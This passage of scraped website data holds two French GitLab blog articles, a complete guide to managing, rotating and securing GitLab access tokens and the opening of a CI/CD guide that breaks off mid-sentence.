Sboms","fr-fr/blog/the-ultimate-guide-to-sboms.yml","fr-fr/blog/the-ultimate-guide-to-sboms",{"_path":1096,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":1097,"content":1103,"config":1109,"_id":1111,"_type":13,"title":1112,"_source":15,"_file":1113,"_stem":1114,"_extension":18},"/fr-fr/blog/the-ultimate-guide-to-token-management-at-gitlab",{"ogTitle":1098,"schema":1099,"ogImage":1100,"ogDescription":1101,"ogSiteName":673,"noIndex":6,"ogType":674,"ogUrl":1102,"title":1098,"canonicalUrls":1102,"description":1101},"Gestion des tokens sur GitLab : guide complet","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Guide complet pour la gestion des tokens sur GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Hakeem Abdul-Razak\"}],\n        \"datePublished\": \"2025-02-25\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097408/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1097303277_6gTk7M1DNx0tFuovupVFB1_1750097407860.jpg","Découvrez le processus de gestion, d'identification et de sécurisation des tokens et renforcez votre sécurité tout au long du cycle de développement logiciel.","https://about.gitlab.com/blog/the-ultimate-guide-to-token-management-at-gitlab",{"heroImage":1100,"body":1104,"authors":1105,"updatedDate":1107,"date":1022,"title":1098,"tags":1108,"description":1101,"category":9},"Imaginez le scénario suivant : un ingénieur travaille dans une entreprise technologique en pleine croissance et reçoit un appel urgent à 2 heures du matin. Un pipeline de déploiement critique a échoué, et son équipe essaie de comprendre les raisons de cet échec. Après des heures d'investigation, il réalise qu'un utilisateur a révoqué le jeton d'accès personnel d'un ingénieur qui a quitté l'entreprise une semaine plus tôt. Ce token étant lié à plusieurs processus d'automatisation clés, votre système est maintenant dans un état catastrophique. Comment faire en sorte que cette situation ne se reproduise plus ?\n\nDécouvrez dans cet article toutes les étapes de la gestion des tokens, de leur identification à leur sécurisation. Ce guide complète notre [documentation officielle sur les tokens](https://docs.gitlab.com/ee/security/tokens) et s'adresse aux administrateurs GitLab, aux équipes de développement et de sécurité qui doivent garantir une gestion efficace et sécurisée des tokens dans le cadre de leurs projets.\n\n## Sélection du token adapté au job\n\nChoisir le bon token garantit à la fois la sécurité et des fonctionnalités optimales selon votre cas d'utilisation. Les tokens peuvent servir à authentifier des requêtes API, à automatiser des [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"), à intégrer des outils tiers, à gérer des déploiements, à accéder aux dépôts et bien plus encore.\n\n![Guide de gestion des tokens - organigramme des jetons](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097435/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097434869.png)\n\nLe graphique ci-dessus illustre un cas d'utilisation classique lié à la propriété d'un seul utilisateur. Pour plus d'informations, consultez notre documentation sur les rôles et autorisations des utilisateurs dans chaque [espace de nommage](https://docs.gitlab.com/ee/user/permissions.html) (utilisateur/groupe) au sein de votre instance ou groupe principal.\n\nVoici quelques exemples d'utilisation :\n\n* Les **jetons d'accès personnel** ([PAT](https://docs.gitlab.com/user/profile/personal_access_tokens/#personal-access-token-scopes)) peuvent être utilisés lorsque l'accès personnel et les autorisations d'un utilisateur sont requis. Dans ce cas, les identifiants de connexion suivent le statut et les autorisations du compte de l'utilisateur, y compris sa révocation si le compte perd l'accès à un projet ou à un groupe spécifique (ou est entièrement bloqué).\n\n* Les **tokens d'accès au projet/groupe** ([PrAT](https://docs.gitlab.com/user/project/settings/project_access_tokens/#scopes-for-a-project-access-token) / [GrAT](https://docs.gitlab.com/user/group/settings/group_access_tokens/#scopes-for-a-group-access-token)) sont recommandés lorsque l'accès doit être limité aux ressources d'un projet/groupe spécifique. Ainsi, tout utilisateur disposant d'un PrAT/GrAT peut accéder à ces ressources via des mécanismes gérés par des portées attribuées.\n\n## Types de tokens\n\nVoici la liste des tokens GitLab, avec leurs préfixes par défaut et le principal cas d'utilisation associé. Pour plus de détails, consultez la [page de présentation des tokens GitLab](https://docs.gitlab.com/ee/security/tokens/#available-scopes).\n\n| Tokens                            | Préfixe | Description |\n| --------------------------------- | ------- | ----------- |\n| Jeton d'accès personnel           | glpat   | Accès aux données propres à l'utilisateur |\n| Token OAuth 2.0                   | gloas   | Authentification à l'aide du protocole OAuth2.0 pour des intégrations tierces |\n| Token d'emprunt d'identité        | glpat   | Possibilité d'agir au nom d'un autre utilisateur à des fins d'administration |\n| Token d'accès au projet           | glpat   | Accès aux données d'un projet spécifique |\n| Token d'accès au groupe           | glpat   | Accès aux données d'un groupe spécifique |\n| Token de déploiement              | gldt    | Accès aux images d'un registre de conteneurs pour cloner ou effectuer un push/pull sans identifiants utilisateur ni mot de passe |\n| Clés de déploiement               | N/A     | Accès en lecture seule ou en lecture-écriture aux dépôts |\n| Token d'accès au runner           | glrt    | Authentification des GitLab Runners |\n| Token de job CI/CD                | glcbt   | Automatisation des processus CI/CD |\n| Token de déclenchement            | glptt   | Déclenchement manuel ou automatique des pipelines |\n| Token de flux                     | glft    | Authentification de l'accès aux flux de paquets/RSS |\n| Token d'e-mail entrant            | glimt   | Traitement des e-mails entrants |\n| Token GitLab Agent for Kubernetes | glagent | Gestion des clusters [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ?\") via GitLab Agent |\n| Tokens SCIM                       | glsoat  | Activation des intégrations SCIM pour le provisionnement des utilisateurs |\n| Token client pour feature flags   | glffct  | Activation automatisée des feature flags |\n| Token de webhook                  | N/A     | Token de secret défini par l'utilisateur pour sécuriser les charges utiles des webhooks et vérifier que les requêtes proviennent de GitLab |\n\n## Identification des tokens utilisés\n\n### Inventaire des identifiants de connexion\n\nAvec GitLab Ultimate, les administrateurs (GitLab Self-Managed) et les propriétaires de groupe principal (GitLab.com, à partir de la version 17.5) peuvent surveiller les identifiants de connexion dans leur espace de nommage.\n\nCet inventaire permet de suivre les détails des tokens, notamment :\n\n* Le type de tokens\n* Les tokens disponibles sur [GitLab.com](https://docs.gitlab.com/ee/user/group/credentials_inventory.html)\n* Les tokens disponibles sur [GitLab Self-Managed](https://docs.gitlab.com/ee/administration/credentials_inventory.html)\n* Les comptes utilisateurs associés\n* Les portées des tokens, ainsi que leur date de création et d'expiration\n* Les adresses IP des derniers tokens utilisés (à partir de GitLab 17.10)\n* Le filtrage des tokens en fonction des paramètres définis par l'utilisateur\n* La possibilité de révoquer et de procéder à une rotation de ces tokens\n\nTenir correctement un inventaire des identifiants de connexion permet d'identifier les tokens avec des autorisations excessives et ceux dont la rotation est requise, ce qui garantit un workflow sécurisé et efficace.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/A9ONfnwswd0?si=4VIEUgJaD4daj81b&start=105\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n#### API dédiée pour l'inventaire des identifiants\n\nEn complément de l'interface utilisateur, une API d'inventaire des identifiants de connexion permet d’accéder à cet inventaire via le nouveau [point de terminaison](https://docs.gitlab.com/ee/api/members.html#list-all-members-of-a-group-or-project) /group/:id/manage. Les identifiants de connexion accessibles sous ce point de terminaison sont réservés aux [comptes utilisateurs Entreprise](https://docs.gitlab.com/ee/user/enterprise_user/) ayant souscrit un abonnement GitLab. Ils ne peuvent être consultés que par le propriétaire du groupe principal du projet de l'entreprise concernée.\n\nVoici à quoi pourrait ressembler un appel API à l'avenir :\n\n```console\ncurl --header \"PRIVATE-TOKEN: \u003Cpat>\"\ncurl --header \"PRIVATE-TOKEN: \u003Cpat>\" \"https://verified_domain.com/api/v4/groups/\u003Cgroup_id>/manage/personal_access_tokens\"\n```\n\n### API GitLab\n\nL'API GitLab vous permet de répertorier et de gérer les tokens automatiquement (à l'aide de scripts ou d'applications) au sein de votre entreprise. Les points de terminaison clés liés à l'authentification prennent en charge [différents types de tokens](https://docs.gitlab.com/ee/api/rest/authentication.html), notamment les jetons d'accès personnel, les tokens d'accès au groupe, les tokens de job CI/CD, entre autres. Voici un exemple d'utilisation d'un jeton d'accès personnel qui répertorie tous les projets visibles sur GitLab pour l'utilisateur authentifié :\n\n```console\ncurl --header \"PRIVATE-TOKEN: \u003Cyour_access_token>\" \"https://gitlab.example.com/api/v4/projects\"\n```\n\nRegardez cette vidéo et découvrez comment effectuer des appels à l'API GitLab.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0LsMC3ZiXkA?si=vj871YH610jwQdFc\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n### Identification de l’utilisation des tokens\n\nVous pouvez identifier de différentes manières les emplacements ou les contextes dans lesquels les tokens sont utilisés :\n\n* Depuis **Paramètres utilisateur > [Jetons d'accès](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#view-the-time-at-and-ips-where-a-token-was-last-used)**\n* Dans l'inventaire des identifiants de connexion\n* Dans les événements d'audit\n* Via l'API\n\nLes informations sur l'utilisation des tokens sont mises à jour toutes les 10 minutes pour **last_used** et toutes les minutes pour **last_used_ip**.\n\nLa possibilité d'afficher les adresses IP a été introduite dans GitLab 17.9 et est contrôlée par le feature flag **:pat_ip**. Suivez ces [étapes pour afficher la dernière fois où un token a été utilisé](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#view-the-time-at-and-ips-where-a-token-was-last-used), ainsi que ses cinq dernières adresses IP distinctes.\n\n![Guide de gestion des tokens - paramètres des jetons d'accès personnels](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097435/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097434870.png)\n\n## Gestion des tokens dans l'API et l'interface utilisateur de GitLab\n\nLe tableau suivant répertorie des vidéos qui présentent plusieurs créations de tokens dans l'interface utilisateur et leur utilisation via l'API.\n\n| Tokens                  | UI GitLab | API GitLab |\n| ----------------------- | --------- | ---------- |\n| Jeton d'accès personnel | [Documentation](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=3) | [Documentation](https://docs.gitlab.com/ee/api/personal_access_tokens.html) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=43) |\n| Token d'accès au groupe | [Documentation](https://docs.gitlab.com/ee/user/group/settings/group_access_tokens.html#group-access-tokens) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=120) | [Documentation](https://docs.gitlab.com/ee/api/group_access_tokens.html) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=157) |\n| Token d'accès au projet | [Documentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#project-access-tokens) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=254) | [Documentation](https://docs.gitlab.com/ee/api/project_access_tokens.html) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=285) |\n\n## Gestion de la rotation et de l'expiration des tokens\n\nLa mise en œuvre d'une rotation des tokens et de règles d'expiration strictes permet de réduire les risques de compromission et de garantir la conformité aux normes de sécurité. Une rotation régulière et des expirations contrôlées empêchent que les identifiants de connexion obsolètes ne deviennent des failles de sécurité.\n\nAuparavant, les tokens d'accès au groupe et au projet arrivés à expiration étaient automatiquement supprimés, ce qui compliquait les audits et les analyses de résultats des scans de sécurité en raison de l'absence d'historique de ces tokens inactifs. Pour remédier à ce problème, une [fonctionnalité](https://gitlab.com/gitlab-org/gitlab/-/issues/462217) a introduit la conservation dans l'interface utilisateur des enregistrements de tokens d'accès au groupe et au projet inactifs pendant 30 jours après leur expiration. Cette amélioration permet aux équipes de suivre l'utilisation, l'expiration et la révocation des tokens et offre ainsi une meilleure conformité et un meilleur contrôle.\n\nPour gérer de manière proactive la rotation et l'expiration de vos tokens, procédez comme suit :\n\n* Régénérez activement vos tokens via l'interface utilisateur ou l'API. Si vous utilisez l'API, tenez compte du mécanisme de sécurité de [détection automatique de la réutilisation des tokens](https://docs.gitlab.com/ee/api/personal_access_tokens.html#automatic-reuse-detection).\n\n* Définissez une [limite de durée de validité maximale](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#limit-the-lifetime-of-access-tokens) à l'échelle de l'instance pour les tokens d'accès.\n\n### API de rotation des tokens\n\nJusqu'à la version GitLab 17.7, les utilisateurs devaient effectuer une rotation automatique des tokens d'accès exclusivement via l'API. Cette fonctionnalité est maintenant disponible dans l'interface utilisateur. Pour en savoir plus, regardez les vidéos dans le tableau ci-dessous ou consultez notre [documentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#use-the-ui).\n\n### Extraits de code pour la rotation des tokens\n\nLe tableau suivant regroupe des vidéos expliquant le processus de rotation des tokens dans GitLab.\n\n| Tokens                  | Prérequis | UI GitLab | API GitLab |\n| ----------------------- | --------- | --------- | ---------- |\n| Jeton d'accès personnel | Portée : API | [Documentation](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=76) | [Documentation](https://docs.gitlab.com/ee/api/personal_access_tokens.html#rotate-a-personal-access-token) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=92) |\n| Token d'accès au groupe | Portée : API et rôle(s) : propriétaire | [Documentation](https://docs.gitlab.com/ee/user/group/settings/group_access_tokens.html#create-a-group-access-token-using-ui) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=203) | [Documentation](https://docs.gitlab.com/ee/api/group_access_tokens.html) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=214) |\n| Token d'accès au projet | Portée : API et rôle(s) : propriétaire, chargé de maintenance | [Documentation](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#create-a-project-access-token) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=335) | [Documentation](https://docs.gitlab.com/ee/api/project_access_tokens.html) et [vidéo](https://youtu.be/v5Nj3Jy4vaI?t=349) |\n\n## Bonnes pratiques de gestion des tokens\n\n### Principe de moindre privilège\n\nAtténuez les risques en limitant les autorisations attribuées aux tokens à celles strictement nécessaires à leurs tâches respectives. Vous pourrez ainsi anticiper et résoudre de manière proactive les points de défaillance de vos systèmes.\n\nPour ce faire, procédez comme suit :\n\n* Sélectionnez le token adapté au job. Consultez l'organigramme en cas de besoin.\n* Attribuez uniquement les portées nécessaires lors de la création d'un token. Par exemple, utilisez des portées en lecture seule pour les tokens employés à des fins d'audit. Consultez notre documentation sur les [rôles](https://docs.gitlab.com/ee/user/permissions.html#roles).\n* Évitez d'accorder des privilèges d'administrateur, sauf si cela est explicitement requis.\n* Appliquez une [durée de validité](https://docs.gitlab.com/ee/administration/settings/account_and_limit_settings.html#set-a-lifetime-1) par défaut à l'échelle de l'instance.\n* Examinez et auditez régulièrement les autorisations octroyées aux tokens pour vous assurer de leur adéquation avec les besoins opérationnels actuels.\n* Révoquez les tokens une fois leur tâche terminée.\n\n\n\n### Comptes de service\n\nLes [comptes de service](https://docs.gitlab.com/ee/user/profile/service_accounts.html) associent les tokens à des entités non humaines, ce qui permet de les distinguer des comptes d'utilisateurs et de réduire la dépendance à des utilisateurs spécifiques. Au lieu d'utiliser des comptes personnels pour générer des tokens à des fins d'automatisation, créez des comptes de service avec des portées limitées.\n\nVoici les principaux avantages :\n\n* Utilisation de tokens de compte de service dans les pipelines CI/CD pour éviter les perturbations causées par les modifications de compte d'utilisateur\n* Automatisation des processus de rotation, sans impact sur les comptes personnels\n* Suivi ciblé et piste d'audit plus clairs des actions entreprises par les comptes de service\n* Comptes de service [sans date d'expiration](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-service-account-personal-access-token-with-no-expiry-date)\n* Aucun [siège de licence](https://docs.gitlab.com/user/profile/service_accounts/#create-a-service-account) consommé\n\nGitLab a lancé une nouvelle [interface utilisateur dédiée aux comptes de service](https://gitlab.com/groups/gitlab-org/-/epics/9965) en complément de leur [création via l'API](https://docs.gitlab.com/ee/api/user_service_accounts.html#create-a-service-account-user), afin de simplifier leur gestion et celle des tokens associés. Regardez la démo ci-dessous sur l'utilisation automatique des comptes de service.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/oZvjg0SCsqY?si=cj-0LjfeonLGXv9u\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n### Outils de détection des vulnérabilités\n\nTirez parti des outils de sécurité intégrés à la plateforme GitLab pour détecter et atténuer les vulnérabilités associées à l'utilisation des tokens. Pour une protection optimale, il est recommandé d'utiliser l'ensemble de ces outils de manière combinée.\n\n* [Détection des secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/) : analyse votre dépôt à la recherche de secrets codés en dur, tels que les tokens d'API, les mots de passe et d'autres informations contenant des données sensibles. Consultez la [liste des secrets détectés](https://docs.gitlab.com/ee/user/application_security/secret_detection/detected_secrets.html).\n* [Tests statiques de sécurité des applications (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) : analyse votre code source à la recherche de failles de sécurité et [fournit des rapports intégrés aux merge requests contenant les résultats de l'interface utilisateur](https://docs.gitlab.com/ee/user/application_security/sast/#features), entre autres fonctionnalités.\n* [Analyse des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) : assure que les bibliothèques tierces utilisées dans votre projet ne présentent pas de vulnérabilités liées aux tokens.\n\n### Journaux d'audit et surveillance\n\nVeillez à l'intégrité de vos tokens en examinant régulièrement les journaux d'audit et les données d'utilisation des tokens au niveau de l'instance et/ou du groupe.\n\n* [Événements d'audit](https://docs.gitlab.com/ee/user/compliance/audit_events.html) : activez la journalisation des événements d'audit dans GitLab pour suivre les activités liées aux tokens, telles que la création, l'utilisation, la révocation et les appels API suspects (paramètres non autorisés dans les journaux, déclenchements répétés du limiteur de débit).\n* [Liste des adresses IP autorisées](https://docs.gitlab.com/ee/administration/reporting/ip_addr_restrictions.html#configure-ip-address-restrictions) : permet d'empêcher qu'un utilisateur malveillant masque ses activités derrière plusieurs adresses IP.\n* [Alertes](https://docs.gitlab.com/ee/operations/incident_management/alerts.html) : configurez des alertes pour les activités inhabituelles (déclenchement d'une remontée d'alerte d'incident lors des rotations d'astreinte ou création d'incidents).\n* [Inventaire des identifiants de connexion](https://docs.gitlab.com/ee/administration/credentials_inventory.html) : contrôlez l'ensemble des tokens d'accès disponibles avec la possibilité de les révoquer si nécessaire.\n* [Notifications](https://docs.gitlab.com/ee/user/profile/notifications.html) : gérez de manière proactive tous les e-mails de notification d'expiration de tokens (d'accès au groupe/projet et personnel) que vous recevez. Suite aux retours de nos clients, cette fonctionnalité a été étendue pour inclure des notifications à 30 jours et 60 jours, en plus de la notification par défaut à 7 jours.\n* [Webhooks](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html#create-a-webhook) : les webhooks de tokens d'accès peuvent être configurés sur les groupes et les projets pour envoyer des événements d'expiration de tokens à sept jours. Cette fonctionnalité a également été étendue pour inclure des notifications à 30 jours et 60 jours via le feature flag **:extended_expiry_webhook_execution_setting** (désactivé par défaut).\n\n## Perspectives\n\nCompte tenu du vaste catalogue de tokens de GitLab, nous avons [prévu](https://gitlab.com/gitlab-org/gitlab/-/issues/502630) une consolidation axée sur la durée de validité, les portées affinées, la gestion cohérente et l'utilisation. En ce qui concerne les fonctionnalités liées aux tokens, nous avons identifié les priorités suivantes : une interface utilisateur complète pour les comptes de service, l'ajout de nouveaux types d'identifiants dans l'inventaire des identifiants de connexion et une amélioration de l'audit des tokens et comptes de service.\n\n> [Essayez GitLab Ultimate gratuitement](https://about.gitlab.com/free-trial/) et commencez à utiliser les fonctionnalités de gestion des tokens.\n",[1106],"Hakeem Abdul-Razak","2025-07-01",[731,9,753,702,703],{"slug":1110,"featured":90,"template":689},"the-ultimate-guide-to-token-management-at-gitlab","content:fr-fr:blog:the-ultimate-guide-to-token-management-at-gitlab.yml","The Ultimate Guide To Token Management At Gitlab","fr-fr/blog/the-ultimate-guide-to-token-management-at-gitlab.yml","fr-fr/blog/the-ultimate-guide-to-token-management-at-gitlab",{"_path":1116,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":1117,"content":1123,"config":1129,"_id":1131,"_type":13,"title":1132,"_source":15,"_file":1133,"_stem":1134,"_extension":18},"/fr-fr/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation",{"ogTitle":1118,"schema":1119,"ogImage":1120,"ogDescription":1121,"ogSiteName":673,"noIndex":6,"ogType":674,"ogUrl":1122,"title":1118,"canonicalUrls":1122,"description":1121},"Approche CI/CD : notre guide complet","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Guide complet sur l'approche CI/CD : des principes fondamentaux à la mise en œuvre avancée\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2025-06-25\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660151/Blog/Hero%20Images/blog-image-template-1800x945__26_.png","Découvrez comment transformer vos processus CI/CD en automatisant le développement et la livraison de logiciels tout en renforçant la sécurité des pipelines.","https://about.gitlab.com/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation",{"title":1118,"description":1121,"authors":1124,"heroImage":1120,"date":1125,"body":1126,"category":1127,"tags":1128},[1083],"2025-06-25","L'adoption des pratiques [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\") a révolutionné la création de valeur dans le développement logiciel. L'époque des déploiements manuels et des défis d'intégration complexes est désormais révolue : aujourd'hui, le développement logiciel moderne met l'accent sur l'automatisation, la fiabilité et la rapidité.\n\nL'approche CI/CD repose sur la mise en place d'un pipeline fluide et automatisé qui permet de transférer le code de l'environnement de développement vers l'environnement de production, tout en intégrant les retours et suggestions de modification en temps réel. L'intégration continue (CI) aide les équipes à détecter rapidement les problèmes avant qu'ils ne deviennent coûteux. Les modifications de code sont fréquemment fusionnées dans un dépôt partagé, puis testées automatiquement et validées. La livraison continue (CD) vient compléter cette démarche. Elle vise à automatiser le processus de déploiement, rendant les sorties de nouvelles versions prévisibles et harmonieuses.\n\nGrâce à un pipeline CI/CD robuste, les équipes peuvent compiler, tester et déployer leurs logiciels sans dépendre de processus manuels ou de chaînes d’outils complexes. L'intégration de l'IA aide à optimiser encore davantage ce processus, en générant automatiquement des pipelines CI/CD qui garantissent la cohérence des contrôles de qualité, de conformité et de sécurité.\n\nDécouvrez dans ce guide tout ce que vous devez sur les pipelines CI/CD modernes, des principes de base aux bonnes pratiques, en passant par les stratégies avancées. Apprenez également comment les grandes entreprises leaders dans leur domaine tirent parti de l'approche CI/CD pour atteindre des résultats impressionnants. À l’issue de cette lecture, vous saurez comment faire évoluer votre environnement [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") afin de développer et de livrer des logiciels de manière [agile](https://about.gitlab.com/fr-fr/topics/ci-cd/continuous-integration-agile/ \"Intégration continue et développement agile\"), automatisée et efficace.\n\n## Qu'est-ce que l'intégration continue ?\n\nL'[intégration continue](https://about.gitlab.com/fr-fr/topics/ci-cd/benefits-continuous-integration/ \"Qu'est-ce que l’intégration continue ?\") (CI) est une pratique qui consiste à intégrer régulièrement les modifications de code dans la branche principale d'un dépôt de code source partagé. Cette intégration s'effectue dès que possible, et fréquemment. Après chaque validation ou merge, les modifications sont automatiquement testées, puis une compilation est déclenchée sans intervention manuelle. Grâce à l'intégration continue, les équipes peuvent identifier et corriger les erreurs, ainsi que les failles de sécurité, plus facilement et beaucoup plus tôt dans le processus de développement.\n\n## Qu'est-ce que la livraison continue ?\n\n[La livraison continue](https://about.gitlab.com/fr-fr/topics/ci-cd/#what-is-continuous-delivery-cd \"Qu'est-ce que la livraison continue ?\") (CD), également appelée *déploiement continu*, automatise le processus de mise en production des applications. Les équipes de développement ont ainsi plus de temps à consacrer au suivi des déploiements en cours pour en garantir la réussite. Avec la livraison continue, les équipes DevSecOps définissent à l'avance les critères de mise à disposition du code. Une fois ces critères remplis et validés, le code est automatiquement déployé dans l'environnement de production. Cette automatisation permet aux entreprises de gagner en flexibilité et de mettre plus rapidement de nouvelles fonctionnalités à disposition des utilisateurs.\n\n## Quel est le lien entre la gestion du code source et l'approche CI/CD ?\n\nLa [gestion du code source (SCM)](https://about.gitlab.com/fr-fr/solutions/source-code-management/ \"Gestion du code source\") et l'approche CI/CD constituent la base des pratiques modernes de développement logiciel. Les systèmes SCM, comme [Git](https://about.gitlab.com/blog/what-is-git-the-ultimate-guide-to-gits-role-and-functionality/ \"Qu'est-ce que Git?\"), offrent une solution centralisée pour suivre les modifications, gérer les versions de code et faciliter la collaboration entre les membres de l'équipe. Lorsqu’un développeur travaille sur une nouvelle fonctionnalité ou une correction de bogues, il crée une branche à partir du code source et apporte ses modifications avant de les [fusionner à l'aide des merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/). Cette stratégie de gestion de branches permet à plusieurs développeurs de travailler simultanément sans interférer avec le code de leurs collègues, tout en maintenant une branche principale stable qui contient un code prêt à être déployé dans l'environnement de production.\n\nL'approche CI/CD automatise les étapes de compilation, de test et de validation du code géré par le système SCM à chaque push de modifications. Lorsqu'un développeur soumet ses modifications de code, le système CI/CD récupère automatiquement le code le plus récent, le combine avec le code source existant, puis exécute une série de vérifications automatisées. Celles-ci comprennent généralement la compilation du code, l'exécution de tests unitaires, l'analyse statique du code et la vérification de la couverture de code. En cas d’échec d’une de ces étapes, l'équipe en est immédiatement informée, ce qui lui permet de résoudre les problèmes avant qu'ils n'affectent d'autres développeurs ou qu'ils n’apparaissent dans l'environnement de production. Cette intégration étroite entre le contrôle de version et l'intégration continue crée une boucle de rétroaction constante qui garantit la qualité du code et prévient l'accumulation de problèmes d'intégration.\n\n## Quels sont les avantages de l'approche CI/CD ?\n\n[L'approche CI/CD apporte de nombreux avantages qui transforment le développement logiciel moderne](https://about.gitlab.com/blog/ten-reasons-why-your-business-needs-ci-cd/) et réduisent considérablement les délais ainsi que les risques associés à la livraison de nouvelles fonctionnalités et corrections de bogues. Grâce à une boucle de rétroaction continue, les équipes DevSecOps peuvent garantir que leurs modifications sont automatiquement validées sur l'ensemble du code source. \n\nRésultat : des logiciels de meilleure qualité, des cycles de livraison plus courts et des sorties de nouvelles versions plus fréquentes pour répondre rapidement aux besoins des utilisateurs et aux demandes du marché.\n\nAu-delà des aspects techniques, l'approche CI/CD favorise une culture de collaboration et de transparence au sein des équipes de développement logiciel. Grâce à une visibilité en temps réel du statut des compilations, des tests et des déploiements, il est plus facile d'identifier et de résoudre les goulots d'étranglement dans le processus de livraison. L'automatisation offerte par l'approche CI/CD réduit également la charge cognitive des équipes de développement qui peuvent ainsi se concentrer sur l'écriture de code plutôt que sur la gestion de processus de déploiement manuels. La satisfaction et la productivité des équipes s’améliorent, tandis que les risques généralement associés aux étapes critiques du processus de publication de logiciel diminuent. Les équipes peuvent expérimenter de nouvelles idées sans craindre de compromettre le projet, sachant que des mécanismes de contrôle robustes, comme les revues de code rapides, sont intégrés au processus. Elles peuvent rapidement annuler les modifications si nécessaire. L'approche CI/CD encourage donc une culture d'innovation et d'amélioration continue.\n\n### Quelles sont les principales différences entre l'approche CI/CD et le développement traditionnel ?\n\nL'approche CI/CD diffère du développement logiciel traditionnel à bien des égards, notamment en ce qui concerne les points suivants :\n\n**Validations fréquentes du code**\n\nDans le développement traditionnel, les équipes de développement travaillent souvent de manière isolée et intègrent rarement leurs modifications dans le code source. Cette situation entraîne des conflits de merge et d'autres problèmes chronophages. Avec l'approche CI/CD, les équipes effectuent régulièrement des push de validation, parfois plusieurs fois par jour. De cette manière, les conflits de merge sont détectés rapidement et le code source est maintenu à jour.\n\n**Réduction des risques**\n\nLes méthodes de développement logiciel traditionnelles reposent sur des cycles de test à rallonge et une planification rigoureuse avant la sortie de chaque nouvelle version. Bien que ce type de développement ait pour objectif de réduire au maximum les risques, il entrave souvent la capacité à identifier et à résoudre les problèmes. À l’inverse, l'approche CI/CD permet de gérer les risques en appliquant de petites modifications incrémentielles. Ces changements, surveillés de près, peuvent être facilement annulés en cas de problème.\n\n**Tests automatisés et continus**\n\nDans le cadre du développement logiciel traditionnel, les tests sont généralement exécutés à la fin du processus de développement, ce qui peut entraîner des retards de livraison et des corrections de bogues coûteuses. L'approche CI/CD, en revanche, intègre des tests automatisés qui sont exécutés en continu tout au long du processus de développement logiciel et déclenchés à chaque validation de code. Cette approche permet aux équipes de développement de recevoir des retours immédiats et d’implémenter rapidement les correctifs nécessaires.\n\n**Déploiements automatisés, reproductibles et fréquents**\n\nL’automatisation des déploiements dans l’approche CI/CD réduit le stress et les efforts habituellement associés aux déploiements massifs de logiciels. Ce processus automatisé est reproductible dans tous les environnements et garantit ainsi un gain de temps, une réduction des risques d’erreurs ainsi qu'une cohérence accrue dans chaque déploiement.\n\n## Quels sont les principes fondamentaux de l'approche CI/CD ?\n\nL'approche CI/CD constitue un framework essentiel pour la mise en place de processus de livraison de logiciels évolutifs et régulièrement mis à jour. Pour les équipes DevSecOps, une maîtrise parfaite de ses concepts fondamentaux est indispensable. Une solide compréhension des principes CI/CD permet aux équipes d'adapter leurs stratégies et leurs pratiques aux évolutions technologiques, en s’affranchissant des limitations des méthodes traditionnelles. \n\n### Qu'est-ce qu'un pipeline CI/CD ?\n\nUn [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/) est une série d'étapes (compilation, test et déploiement) qui automatise et rationalise le processus de livraison de logiciels. [Chaque étape agit comme un mur 